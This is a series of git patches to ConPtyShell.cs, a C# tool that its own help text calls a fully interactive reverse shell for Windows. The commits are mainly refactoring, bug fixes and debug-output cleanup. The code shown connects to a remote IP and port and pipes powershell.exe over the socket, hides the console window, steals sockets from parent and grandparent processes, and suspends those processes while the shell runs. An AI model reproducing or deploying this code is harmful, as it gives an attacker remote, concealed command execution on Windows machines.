IntPtr.Zero); + writeSuccess = WriteFile(InputPipeWrite, bytesReceived, (uint)nBytesReceived, out bytesWritten, IntPtr.Zero); } while (nBytesReceived > 0 && writeSuccess); Console.WriteLine("debug: nBytesReceived = " + nBytesReceived + " WSAGetLastError() = " + WSAGetLastError().ToString()); TerminateProcess(hChildProcess, 0); } - - private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess){ + + private static Thread StartThreadReadSocketWritePipe(IntPtr InputPipeWrite, IntPtr shellSocket, IntPtr hChildProcess) + { object[] threadParameters = new object[3]; - threadParameters[0]=InputPipeWrite; - threadParameters[1]=shellSocket; - threadParameters[2]=hChildProcess; + threadParameters[0] = InputPipeWrite; + threadParameters[1] = shellSocket; + threadParameters[2] = hChildProcess; Thread thReadSocketWritePipe = new Thread(ThreadReadSocketWritePipe); thReadSocketWritePipe.Start(threadParameters); return thReadSocketWritePipe; } - - public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell){ + + public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows, uint cols, string commandLine, bool upgradeShell) + { IntPtr shellSocket = IntPtr.Zero; IntPtr InputPipeRead = IntPtr.Zero; IntPtr InputPipeWrite = IntPtr.Zero; @@ -1040,10 +1234,10 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows Process currentProcess = null; Process parentProcess = null; Process grandParentProcess = null; - - if(GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) + + if (GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) conptyCompatible = true; - + PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); // comment the below function to debug errors @@ -1051,64 +1245,73 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows // init wsastartup stuff for this thread InitWSAThread(); - if (conptyCompatible){ + if (conptyCompatible) + { Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); - if(upgradeShell){ + if (upgradeShell) + { List socketsHandles = new List(); currentProcess = Process.GetCurrentProcess(); parentProcess = ParentProcessUtilities.GetParentProcess(currentProcess.Handle); - if (parentProcess != null) grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); + if (parentProcess != null) grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); // try to duplicate the socket for the current process shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess); - if (shellSocket != IntPtr.Zero){ - if(parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); + if (shellSocket != IntPtr.Zero) + { + if (parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); } else // if no sockets are found in the current process we try to hijack our current parent process socket shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess); - if(shellSocket == IntPtr.Zero) + if (shellSocket == IntPtr.Zero) throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); } - else{ + else + { shellSocket = connectRemote(remoteIp, remotePort); - if(shellSocket == IntPtr.Zero){ + if (shellSocket == IntPtr.Zero) + { output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); return output; } TryParseRowsColsFromSocket(shellSocket, ref rows, ref cols); } - if(GetConsoleWindow() == IntPtr.Zero){ + if (GetConsoleWindow() == IntPtr.Zero) + { AllocConsole(); ShowWindow(GetConsoleWindow(), SW_HIDE); newConsoleAllocated = true; } - // Console.WriteLine("debug: Creating pseudo console..."); - // return ""; + Console.WriteLine("debug: Creating pseudo console..."); + return ""; int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); - if(pseudoConsoleCreationResult != 0) + if (pseudoConsoleCreationResult != 0) { output += string.Format("{0}Could not create psuedo console. Error Code {1}", errorString, pseudoConsoleCreationResult.ToString()); return output; } childProcessInfo = CreateChildProcessWithPseudoConsole(handlePseudoConsole, commandLine); } - else{ - if(upgradeShell){ + else + { + if (upgradeShell) + { output += string.Format("Could not upgrade shell to fully interactive because ConPTY is not compatible on this system"); return output; } shellSocket = connectRemote(remoteIp, remotePort); - if(shellSocket == IntPtr.Zero){ + if (shellSocket == IntPtr.Zero) + { output += string.Format("{0}Could not connect to ip {1} on port {2}", errorString, remoteIp, remotePort.ToString()); return output; } Console.WriteLine("\r\nCreatePseudoConsole function not found! Spawning a netcat-like interactive shell...\r\n"); STARTUPINFO sInfo = new STARTUPINFO(); sInfo.cb = Marshal.SizeOf(sInfo); - sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; - sInfo.hStdInput = InputPipeRead; + sInfo.dwFlags |= (Int32)STARTF_USESTDHANDLES; + sInfo.hStdInput = InputPipeRead; sInfo.hStdOutput = OutputPipeWrite; sInfo.hStdError = OutputPipeWrite; CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); @@ -1122,17 +1325,17 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows Thread thThreadReadPipeWriteSocket = StartThreadReadPipeWriteSocket(OutputPipeRead, shellSocket); Thread thReadSocketWritePipe = StartThreadReadSocketWritePipe(InputPipeWrite, shellSocket, childProcessInfo.hProcess); // we need to suspend other processes that can interact with the duplicated sockets if any. This will ensure stdin, stdout and stderr is read/write only by our conpty process - if(upgradeShell && parentSocketInherited) NtSuspendProcess(parentProcess.Handle); - if(upgradeShell && grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle); + if (upgradeShell && parentSocketInherited) NtSuspendProcess(parentProcess.Handle); + if (upgradeShell && grandParentSocketInherited) NtSuspendProcess(grandParentProcess.Handle); WaitForSingleObject(childProcessInfo.hProcess, INFINITE); //cleanup everything - if(upgradeShell && parentSocketInherited) NtResumeProcess(parentProcess.Handle); - if(upgradeShell && grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle); + if (upgradeShell && parentSocketInherited) NtResumeProcess(parentProcess.Handle); + if (upgradeShell && grandParentSocketInherited) NtResumeProcess(grandParentProcess.Handle); thThreadReadPipeWriteSocket.Abort(); thReadSocketWritePipe.Abort(); closesocket(shellSocket); RestoreStdHandles(oldStdIn, oldStdOut, oldStdErr); - if(newConsoleAllocated) + if (newConsoleAllocated) FreeConsole(); CloseHandle(childProcessInfo.hThread); CloseHandle(childProcessInfo.hProcess); @@ -1144,7 +1347,8 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows } } -public static class ConPtyShellMainClass{ +public static class ConPtyShellMainClass +{ private static string help = @" ConPtyShell - Fully Interactive Reverse Shell for Windows @@ -1195,87 +1399,102 @@ Upgrade your current shell with specific rows and cols size ConPtyShell.exe upgrade shell 30 90 "; - + private static bool HelpRequired(string param) { return param == "-h" || param == "--help" || param == "/?"; } - + private static void CheckArgs(string[] arguments) { - if(arguments.Length < 2) + if (arguments.Length < 2) throw new ConPtyShellException("\r\nConPtyShell: Not enough arguments. 2 Arguments required. Use --help for additional help.\r\n"); } - + private static void DisplayHelp() { Console.Out.Write(help); } - - private static string CheckRemoteIpArg(string ipString){ + + private static string CheckRemoteIpArg(string ipString) + { IPAddress address; if (!IPAddress.TryParse(ipString, out address)) throw new ConPtyShellException("\r\nConPtyShell: Invalid remoteIp value" + ipString); return ipString; } - - private static int CheckInt(string arg){ + + private static int CheckInt(string arg) + { int ret = 0; if (!Int32.TryParse(arg, out ret)) throw new ConPtyShellException("\r\nConPtyShell: Invalid integer value " + arg); return ret; } - - private static uint ParseRows(string[] arguments){ + + private static uint ParseRows(string[] arguments) + { uint rows = 24; if (arguments.Length > 2) rows = (uint)CheckInt(arguments[2]); return rows; } - - private static uint ParseCols(string[] arguments){ + + private static uint ParseCols(string[] arguments) + { uint cols = 80; if (arguments.Length > 3) cols = (uint)CheckInt(arguments[3]); return cols; } - private static string ParseCommandLine(string[] arguments){ + private static string ParseCommandLine(string[] arguments) + { string commandLine = "powershell.exe"; if (arguments.Length > 4) commandLine = arguments[4]; return commandLine; } - public static string ConPtyShellMain(string[] args){ - string output=""; + public static string ConPtyShellMain(string[] args) + { + string output = ""; if (args.Length == 1 && HelpRequired(args[0])) { DisplayHelp(); } else { - CheckArgs(args); - string remoteIp = ""; - int remotePort = 0; - bool upgradeShell = false; - if(args[0].Contains("upgrade")) - upgradeShell = true; - else{ - remoteIp = CheckRemoteIpArg(args[0]); - remotePort = CheckInt(args[1]); + try + { + CheckArgs(args); + string remoteIp = ""; + int remotePort = 0; + bool upgradeShell = false; + if (args[0].Contains("upgrade")) + upgradeShell = true; + else + { + remoteIp = CheckRemoteIpArg(args[0]); + remotePort = CheckInt(args[1]); + } + uint rows = ParseRows(args); + uint cols = ParseCols(args); + string commandLine = ParseCommandLine(args); + output = ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); + } + catch (Exception e) + { + Console.WriteLine("\n" + e.ToString() + "\n"); } - uint rows = ParseRows(args); - uint cols = ParseCols(args); - string commandLine = ParseCommandLine(args); - output=ConPtyShell.SpawnConPtyShell(remoteIp, remotePort, rows, cols, commandLine, upgradeShell); } return output; } } -class MainClass{ +class MainClass +{ static void Main(string[] args) { Console.Out.Write(ConPtyShellMainClass.ConPtyShellMain(args)); From 54b3c75c63e2ab17e0ace9feed127fe2c3c85a5c Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 13 Jun 2021 16:58:51 +0200 Subject: [PATCH 20/35] some code cleaning --- ConPtyShell.cs | 51 +++++++++++++------------------------------------- 1 file changed, 13 insertions(+), 38 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index f2eff66..4034ef7 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -68,17 +68,15 @@ public static class SocketHijacking private const uint NTSTATUS_INFOLENGTHMISMATCH = 0xc0000004; private const uint NTSTATUS_BUFFEROVERFLOW = 0x80000005; private const uint NTSTATUS_BUFFERTOOSMALL = 0xc0000023; - private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; + private const int NTSTATUS_PENDING = 0x00000103; private const int WSA_FLAG_OVERLAPPED = 0x1; private const int DUPLICATE_SAME_ACCESS = 0x2; private const int SystemHandleInformation = 16; + private const int PROCESS_DUP_HANDLE = 0x0040; private const int SIO_TCP_INFO = unchecked((int)0xD8000027); private const int SG_UNCONSTRAINED_GROUP = 0x1; private const int SG_CONSTRAINED_GROUP = 0x2; private const uint IOCTL_AFD_GET_CONTEXT = 0x12043; - private const uint IOCTL_AFD_SET_CONTEXT = 0x12047; - private const int STATUS_SUCCESS = 0; - private const int STATUS_PENDING = 0x00000103; private const int EVENT_ALL_ACCESS = 0x1f0003; private const int SynchronizationEvent = 1; private const UInt32 INFINITE = 0xFFFFFFFF; @@ -172,24 +170,6 @@ private struct UNICODE_STRING public IntPtr Buffer; } - [Flags] - private enum ProcessAccessFlags : uint - { - All = 0x001F0FFF, - Terminate = 0x00000001, - CreateThread = 0x00000002, - VirtualMemoryOperation = 0x00000008, - VirtualMemoryRead = 0x00000010, - VirtualMemoryWrite = 0x00000020, - DuplicateHandle = 0x00000040, - CreateProcess = 0x000000080, - SetQuota = 0x00000100, - SetInformation = 0x00000200, - QueryInformation = 0x00000400, - QueryLimitedInformation = 0x00001000, - Synchronize = 0x00100000 - } - [StructLayout(LayoutKind.Sequential)] private struct WSAData { @@ -276,7 +256,6 @@ private struct linger { public UInt16 l_onoff; public UInt16 l_linger; - } [StructLayout(LayoutKind.Sequential, Pack = 0)] @@ -376,7 +355,7 @@ private struct SOCKET_CONTEXT private static extern int closesocket(IntPtr s); [DllImport("kernel32.dll", SetLastError = true)] - private static extern IntPtr OpenProcess(ProcessAccessFlags processAccess, bool bInheritHandle, int processId); + private static extern IntPtr OpenProcess(int processAccess, bool bInheritHandle, int processId); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] @@ -404,9 +383,6 @@ private struct SOCKET_CONTEXT [DllImport("ntdll.dll", EntryPoint = "NtDeviceIoControlFile")] private static extern int NtDeviceIoControlFile1(IntPtr FileHandle, IntPtr Event, IntPtr ApcRoutine, IntPtr ApcContext, ref IO_STATUS_BLOCK IoStatusBlock, uint IoControlCode, IntPtr InputBuffer, int InputBufferLength, ref SOCKET_CONTEXT OutputBuffer, int OutputBufferLength); - [DllImport("ntdll.dll")] - static extern int NtClose(IntPtr hObject); - //helper method with "dynamic" buffer allocation private static IntPtr NtQuerySystemInformationDynamic(int infoClass, int infoLength) @@ -558,7 +534,7 @@ public static List GetSocketsTargetProcess(Process targetProcess) List socketsHandles = new List(); DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper(); - hTargetProcess = OpenProcess(ProcessAccessFlags.DuplicateHandle, false, targetProcess.Id); + hTargetProcess = OpenProcess(PROCESS_DUP_HANDLE, false, targetProcess.Id); if (hTargetProcess == IntPtr.Zero) { Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); @@ -671,7 +647,7 @@ private static bool IsSocketOverlapped(IntPtr socket) SOCKET_CONTEXT contextData = new SOCKET_CONTEXT(); ntStatus = NtCreateEvent(ref sockEvent, EVENT_ALL_ACCESS, IntPtr.Zero, SynchronizationEvent, false); - if (ntStatus != STATUS_SUCCESS) + if (ntStatus != NTSTATUS_SUCCESS) { Console.WriteLine("debug: NtCreateEvent failed with error code 0x" + ntStatus.ToString("X8")); ; return ret; @@ -680,15 +656,15 @@ private static bool IsSocketOverlapped(IntPtr socket) IO_STATUS_BLOCK IOSB = new IO_STATUS_BLOCK(); ntStatus = NtDeviceIoControlFile1(socket, sockEvent, IntPtr.Zero, IntPtr.Zero, ref IOSB, IOCTL_AFD_GET_CONTEXT, IntPtr.Zero, 0, ref contextData, Marshal.SizeOf(contextData)); // Wait for Completion - if (ntStatus == STATUS_PENDING) + if (ntStatus == NTSTATUS_PENDING) { WaitForSingleObject(sockEvent, INFINITE); ntStatus = IOSB.status; } - NtClose(sockEvent); + CloseHandle(sockEvent); - if (ntStatus != STATUS_SUCCESS) + if (ntStatus != NTSTATUS_SUCCESS) { Console.WriteLine("debug: NtDeviceIoControlFile failed with error code 0x" + ntStatus.ToString("X8")); ; return ret; @@ -788,7 +764,6 @@ public static class ConPtyShell private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008; private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016; private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000; - private const uint CREATE_NO_WINDOW = 0x08000000; private const int STARTF_USESTDHANDLES = 0x00000100; private const int BUFFER_SIZE_PIPE = 1048576; private const int WSA_FLAG_OVERLAPPED = 0x1; @@ -891,12 +866,12 @@ private struct SOCKADDR_IN [return: MarshalAs(UnmanagedType.Bool)] private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpReturnSize); - [DllImport("kernel32.dll", SetLastError = true)] + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] [return: MarshalAs(UnmanagedType.Bool)] - private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + private static extern bool CreateProcessEx(string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); - [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)] - private static extern bool CreateProcessW(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); + [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto, EntryPoint = "CreateProcess")] + private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] @@ -1314,7 +1289,7 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows sInfo.hStdInput = InputPipeRead; sInfo.hStdOutput = OutputPipeWrite; sInfo.hStdError = OutputPipeWrite; - CreateProcessW(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); + CreateProcessEx(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); } // Note: We can close the handles to the PTY-end of the pipes here // because the handles are dup'ed into the ConHost and will be released From 7ce5fd7647f6a26a8cb5a9f7730326f8c6a8a228 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 13 Jun 2021 17:10:16 +0200 Subject: [PATCH 21/35] some code cleaning pt 2 --- ConPtyShell.cs | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 4034ef7..78fd373 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -1440,12 +1440,12 @@ public static string ConPtyShellMain(string[] args) } else { + string remoteIp = ""; + int remotePort = 0; + bool upgradeShell = false; try { CheckArgs(args); - string remoteIp = ""; - int remotePort = 0; - bool upgradeShell = false; if (args[0].Contains("upgrade")) upgradeShell = true; else From 70b6f0a0cea177093e26e1f7f1a5d39331df0824 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 13 Jun 2021 17:12:07 +0200 Subject: [PATCH 22/35] bugfix no compile --- ConPtyShell.cs | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 78fd373..5a1cb63 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -1116,7 +1116,7 @@ private static PROCESS_INFORMATION RunProcess(ref STARTUPINFOEX sInfoEx, string pSec.nLength = securityAttributeSize; SECURITY_ATTRIBUTES tSec = new SECURITY_ATTRIBUTES(); tSec.nLength = securityAttributeSize; - bool success = CreateProcess(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo); + bool success = CreateProcessEx(null, commandLine, ref pSec, ref tSec, false, EXTENDED_STARTUPINFO_PRESENT, IntPtr.Zero, null, ref sInfoEx, out pInfo); if (!success) { throw new ConPtyShellException("Could not create process. " + Marshal.GetLastWin32Error()); @@ -1289,7 +1289,7 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows sInfo.hStdInput = InputPipeRead; sInfo.hStdOutput = OutputPipeWrite; sInfo.hStdError = OutputPipeWrite; - CreateProcessEx(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); + CreateProcess(null, commandLine, IntPtr.Zero, IntPtr.Zero, true, 0, IntPtr.Zero, null, ref sInfo, out childProcessInfo); } // Note: We can close the handles to the PTY-end of the pipes here // because the handles are dup'ed into the ConHost and will be released From 857730583c78dcdff619bc48dff7d3ab4d8b37b0 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 13 Jun 2021 18:29:12 +0200 Subject: [PATCH 23/35] improved hijacking socket logic --- ConPtyShell.cs | 40 ++++++++++++++++++++++++++++------------ 1 file changed, 28 insertions(+), 12 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 5a1cb63..8c9215f 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -53,7 +53,7 @@ public bool CheckDeadlockDetected(IntPtr tHandle) uint threadId = 0; //we need native threads, C# threads hang and go in lock. We need to avoids hangs on named pipe so... No hangs no deadlocks... no pain no gains... hThread = CreateThread(0, 0, delegateThreadCheckDeadlock, IntPtr.Zero, 0, out threadId); - WaitForSingleObject(hThread, 3000); + WaitForSingleObject(hThread, 1500); //we do not kill the "pending" threads here with TerminateThread() because it will crash the whole process if we do it on locked threads. //just some waste of threads :( CloseHandle(hThread); @@ -693,7 +693,7 @@ public static IntPtr DuplicateTargetProcessSocket(Process targetProcess) } if (!IsSocketOverlapped(dupSocketHandle)) { - Console.WriteLine("debug: found non overlapped socket 0x" + dupSocketHandle.ToString("X4") + " skpping..."); + Console.WriteLine("Found a usable socket, but it has not been created with the flag WSA_FLAG_OVERLAPPED, skipping..."); closesocket(dupSocketHandle); continue; } @@ -1231,17 +1231,33 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows if (parentProcess != null) grandParentProcess = ParentProcessUtilities.GetParentProcess(parentProcess.Handle); // try to duplicate the socket for the current process shellSocket = SocketHijacking.DuplicateTargetProcessSocket(currentProcess); - if (shellSocket != IntPtr.Zero) + if (shellSocket == IntPtr.Zero && parentProcess != null) { + // if no sockets are found in the current process we try to hijack our current parent process socket + shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess); + if (shellSocket == IntPtr.Zero && grandParentProcess != null) + { + // damn, even the parent process has no usable sockets, let's try a last desperate attempt in the grandparent process + shellSocket = SocketHijacking.DuplicateTargetProcessSocket(grandParentProcess); + if (shellSocket == IntPtr.Zero) + { + throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); + } + else { + grandParentSocketInherited = true; + } + } + else { + // gotcha a usable socket from the parent process, let's see if the grandParent also use the socket + parentSocketInherited = true; + if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); + } + } + else { + // the current process got a usable socket, let's see if the parents use the socket if (parentProcess != null) parentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, parentProcess); + if (grandParentProcess != null) grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); } - else - // if no sockets are found in the current process we try to hijack our current parent process socket - shellSocket = SocketHijacking.DuplicateTargetProcessSocket(parentProcess); - if (shellSocket == IntPtr.Zero) - throw new ConPtyShellException("No \\Device\\Afd objects found. Socket duplication failed."); - if (grandParentProcess != null) - grandParentSocketInherited = SocketHijacking.IsSocketInherited(shellSocket, grandParentProcess); } else { @@ -1259,8 +1275,8 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows ShowWindow(GetConsoleWindow(), SW_HIDE); newConsoleAllocated = true; } - Console.WriteLine("debug: Creating pseudo console..."); - return ""; + // Console.WriteLine("debug: Creating pseudo console..."); + // return ""; int pseudoConsoleCreationResult = CreatePseudoConsoleWithPipes(ref handlePseudoConsole, ref InputPipeRead, ref OutputPipeWrite, rows, cols); if (pseudoConsoleCreationResult != 0) { From d18ad62d77327a61862e9d336b6ff9421876dce9 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 13 Jun 2021 18:31:45 +0200 Subject: [PATCH 24/35] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 946b2f1..8af45e2 100644 --- a/README.md +++ b/README.md @@ -92,7 +92,7 @@ IEX(Get-Content .\Invoke-ConPtyShell.ps1 -Raw); Invoke-ConPtyShell -Upgrade -Row ``` -#### Change Console Size +## Change Console Size In any case if you resize your terminal while you have already open the remote shell you can change the rows and cols size directly from powershell pasting the following code: From 4184b30608227f8b9cff7dd73418cda90892d915 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 13 Jun 2021 18:45:59 +0200 Subject: [PATCH 25/35] code refactor and beautify --- ConPtyShell.cs | 17 +++-------------- 1 file changed, 3 insertions(+), 14 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 8c9215f..250b2a8 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -513,12 +513,10 @@ public static IntPtr NtQueryObjectDynamic(IntPtr handle, OBJECT_INFORMATION_CLAS break; } } - if (result == NTSTATUS_SUCCESS) return infoPtr;//don't forget to free the pointer with Marshal.FreeHGlobal after you're done with it else Marshal.FreeHGlobal(infoPtr);//free pointer when not Successful - return IntPtr.Zero; } @@ -533,14 +531,12 @@ public static List GetSocketsTargetProcess(Process targetProcess) string strObjectName; List socketsHandles = new List(); DeadlockCheckHelper deadlockCheckHelperObj = new DeadlockCheckHelper(); - hTargetProcess = OpenProcess(PROCESS_DUP_HANDLE, false, targetProcess.Id); if (hTargetProcess == IntPtr.Zero) { Console.WriteLine("Cannot open target process with pid " + targetProcess.Id.ToString() + " for DuplicateHandle access"); return socketsHandles; } - ptrHandlesInfo = NtQuerySystemInformationDynamic(SystemHandleInformation, 0); HandlesCount = Marshal.ReadIntPtr(ptrHandlesInfo).ToInt64(); // create a pointer at the beginning of the address of SYSTEM_HANDLE_TABLE_ENTRY_INFO[] @@ -645,14 +641,12 @@ private static bool IsSocketOverlapped(IntPtr socket) IntPtr sockEvent = IntPtr.Zero; int ntStatus = -1; SOCKET_CONTEXT contextData = new SOCKET_CONTEXT(); - ntStatus = NtCreateEvent(ref sockEvent, EVENT_ALL_ACCESS, IntPtr.Zero, SynchronizationEvent, false); if (ntStatus != NTSTATUS_SUCCESS) { Console.WriteLine("debug: NtCreateEvent failed with error code 0x" + ntStatus.ToString("X8")); ; return ret; } - IO_STATUS_BLOCK IOSB = new IO_STATUS_BLOCK(); ntStatus = NtDeviceIoControlFile1(socket, sockEvent, IntPtr.Zero, IntPtr.Zero, ref IOSB, IOCTL_AFD_GET_CONTEXT, IntPtr.Zero, 0, ref contextData, Marshal.SizeOf(contextData)); // Wait for Completion @@ -661,7 +655,6 @@ private static bool IsSocketOverlapped(IntPtr socket) WaitForSingleObject(sockEvent, INFINITE); ntStatus = IOSB.status; } - CloseHandle(sockEvent); if (ntStatus != NTSTATUS_SUCCESS) @@ -744,7 +737,6 @@ public static Process GetParentProcess(IntPtr handle) int status = NtQueryInformationProcess(handle, 0, ref pbi, Marshal.SizeOf(pbi), out returnLength); if (status != 0) throw new ConPtyShellException(status.ToString()); - try { return Process.GetProcessById(pbi.InheritedFromUniqueProcessId.ToInt32()); @@ -1007,11 +999,11 @@ private static IntPtr connectRemote(string remoteIp, int remotePort) private static void TryParseRowsColsFromSocket(IntPtr shellSocket, ref uint rows, ref uint cols) { Thread.Sleep(500);//little tweak for slower connections + byte[] received = new byte[100]; + int rowsTemp, colsTemp; + int bytesReceived = recv(shellSocket, received, 100, 0); try { - byte[] received = new byte[100]; - int rowsTemp, colsTemp; - int bytesReceived = recv(shellSocket, received, 100, 0); string sizeReceived = Encoding.ASCII.GetString(received, 0, bytesReceived); string rowsString = sizeReceived.Split(' ')[0].Trim(); string colsString = sizeReceived.Split(' ')[1].Trim(); @@ -1209,17 +1201,14 @@ public static string SpawnConPtyShell(string remoteIp, int remotePort, uint rows Process currentProcess = null; Process parentProcess = null; Process grandParentProcess = null; - if (GetProcAddress(GetModuleHandle("kernel32"), "CreatePseudoConsole") != IntPtr.Zero) conptyCompatible = true; - PROCESS_INFORMATION childProcessInfo = new PROCESS_INFORMATION(); CreatePipes(ref InputPipeRead, ref InputPipeWrite, ref OutputPipeRead, ref OutputPipeWrite); // comment the below function to debug errors InitConsole(ref oldStdIn, ref oldStdOut, ref oldStdErr); // init wsastartup stuff for this thread InitWSAThread(); - if (conptyCompatible) { Console.WriteLine("\r\nCreatePseudoConsole function found! Spawning a fully interactive shell\r\n"); From 9b8393d6bbedaa179f8291a740a3c073cf5919c8 Mon Sep 17 00:00:00 2001 From: antonioCoco Date: Sun, 13 Jun 2021 18:49:54 +0200 Subject: [PATCH 26/35] removing debugging functions --- ConPtyShell.cs | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/ConPtyShell.cs b/ConPtyShell.cs index 250b2a8..9bce23f 100644 --- a/ConPtyShell.cs +++ b/ConPtyShell.cs @@ -456,13 +456,13 @@ private static bool IsSocketHijackable(IntPtr socket) result = WSAIoctl1(socket, SIO_TCP_INFO, ref tcpInfoVersion, Marshal.SizeOf(tcpInfoVersion), tcpInfoPtr, tcpInfoSize, ref bytesReturned, IntPtr.Zero, IntPtr.Zero); if (result != 0) { - Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); + // Console.WriteLine("debug: WSAIoctl1 failed with return code " + result.ToString() + " and wsalasterror: " + WSAGetLastError().ToString()); ret = false; } else { TCP_INFO_v0 tcpInfoV0 = (TCP_INFO_v0)Marshal.PtrToStructure(tcpInfoPtr, typeof(TCP_INFO_v0)); - Console.WriteLine("debug: Socket handle 0x" + socket.ToString("X4") + " is in tcpstate " + tcpInfoV0.State.ToString() + " total bytes received: " + tcpInfoV0.BytesIn.ToString() + " total bytes sent: " + 